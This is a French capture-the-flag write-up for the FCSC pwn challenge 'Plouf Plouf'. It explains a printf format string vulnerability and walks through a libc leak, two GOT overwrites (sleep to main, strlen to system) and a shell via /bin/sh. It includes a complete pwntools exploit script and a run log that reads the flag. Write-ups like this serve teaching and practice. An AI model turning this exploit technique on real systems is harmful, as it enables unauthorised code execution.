Solution de mandragore pour Plouf Plouf

pwn x86/x64

6 mars 2026

Analyse du challenge

Le challenge est un petit jeu qui demande le prénom de l’utilisateur et donne quelques tentatives pour trouver un chiffre.

Vulnérabilité

En désassemblant avec Binary Ninja, on repère rapidement une faille de type Format String :

  • +0x12ce : fgets(buf: &var_a4, n, fp: *stdin)
  • +0x12eb : var_a4[strlen(&var_a4) - 1] = 0
  • +0x12fd : printf(format: "Bonjour ")
  • +0x130f : printf(format: &var_a4) <– Faille ici

Printf utilise directement notre entrée, les spécifications de format seront interprétés. %n permet décrire la taille de ce qui a déjà été affiché à l’adresse de l’argument donné à printf. Donc %666c%n permet d’écrire 0x29a à l’adresse du deuxième argument. On peut écrire un demi word ou un byte avec %hn et %hhn. On peut appeler directement le x-ième argument avec %x$n. Ca tombe bien notre buffer est sur la pile, comme les arguments. On pourra mettre dans notre buffer les adresses où l’on veut écrire. Ca ne marcherait pas en 64 bits, les paramètres de printf commencent par les registres et ensuite la pile (x86-64 System V calling convention). De même les protections FORTIFY empecheraient d’utiliser un %n depuis une zone en lecture-écriture ou les arguments positionnels. Le binaire n’est pas Full RELRO, on peut écraser les addresses des fonctions dans la table d’import (la GOT).

Contraintes

Mis à part l’ASLR qui fait changer les adresses de la libc à chaque execution, rien de spécial.

Stratégie d’exploitation

  1. Leak de la Libc : Au moment du printf, la pile contient l’adresse de retour vers __libc_start_main. On utilise %xxx$p pour la récupérer et calculer l’adresse de base.
  2. Boucle infinie : Pour éviter que la libc ne change d’adresse, on boucle le programme pour recommancer sans le relancer : on écrase l’entrée GOT de sleep() par l’adresse de main(). Ainsi, quand le jeu appelle sleep(), il repart au début de main().
  3. Arbitrary Write : Au tour suivant, on écrase l’entrée GOT de strlen() par l’adresse de system(). sleep() relance main() à nouveau.
  4. Shell : Enfin on envoie /bin/sh comme nom. Le programme le passe comme argument à strlen(), qui est maintenant system("/bin/sh").

Par praticité j’utilise la lib pwn pour écrire la format string. Idem pour travailler en local j’utilise pwninit qui patch la cible pour lui faire utiliser les libs du repertoire courant (d’où le plouf_patched en local).

➜  ploufplouf ./exploit.py REMOTE
[+] Opening connection to localhost on port 4000: Done
[*] will write 0x8049212 at 0x804c014
[+] libc base: 0xf3f3f000
[*] will write 0xf3f7db80 at 0x804c02c
[*] Switching to interactive mode
Linux 9e2e019f87bd 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC
FCSC{1f0ab477d3ec9b50c0e1259d8e18f10d47c9c046041ef5fe344c30e0da8dca6c}

Exploit Python (pwntools)

#!/usr/bin/env python3
from pwn import *
import re
import sys
import os

sys.tracebacklimit = 0
context.arch = 'i386'

if args.DBG:
    context.log_level = 'debug'
else:
    context.log_level = 'info'

elf = ELF('./plouf_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)

if args.REMOTE:
    p = remote('localhost', 4000)
else:
    if args.GDB:
        p = gdb.debug(elf.path, gdbscript='''
            break strlen
            continue
        ''')
    else:
        p = process(elf.path)

p.recvuntil(b'>>> ')

# Étape 1 : Détourner sleep -> main et leak libc
where = elf.got.sleep
what = elf.sym.main
log.info(f'will write {what:#x} at {where:#x}')
what = what & 0xffff

payload = p32(where)
payload += b'%47$p'
payload += b'%' + str(what - 10 - 4).encode() + b'c%7$hn'

p.sendline(payload)
leak = p.recvregex(b'(0x.*) ', capture=True).group(1)
libc.address = int(leak, 16) - 241 - libc.sym.__libc_start_main
log.success(f'libc base: {libc.address:#x}')

p.recvuntil(b'>>> ')
p.sendline(b'1') # force du caillou pour trigger sleep()

# Étape 2 : Détourner strlen -> system
p.recvuntil(b'>>> ')
where = elf.got.strlen
what = libc.sym.system
log.info(f'will write {what:#x} at {where:#x}')

payload = fmtstr_payload(7, {where: what}, write_size='byte')
p.sendline(payload)
p.recv(timeout=1)

p.recvuntil(b'>>> ')
p.sendline(b'1')

# Étape 3 : Pop le shell
p.recvuntil(b'>>> ')
p.sendline(b'/bin/sh')

p.clean()
p.sendline(b'uname -a;cat flag.txt')
p.interactive()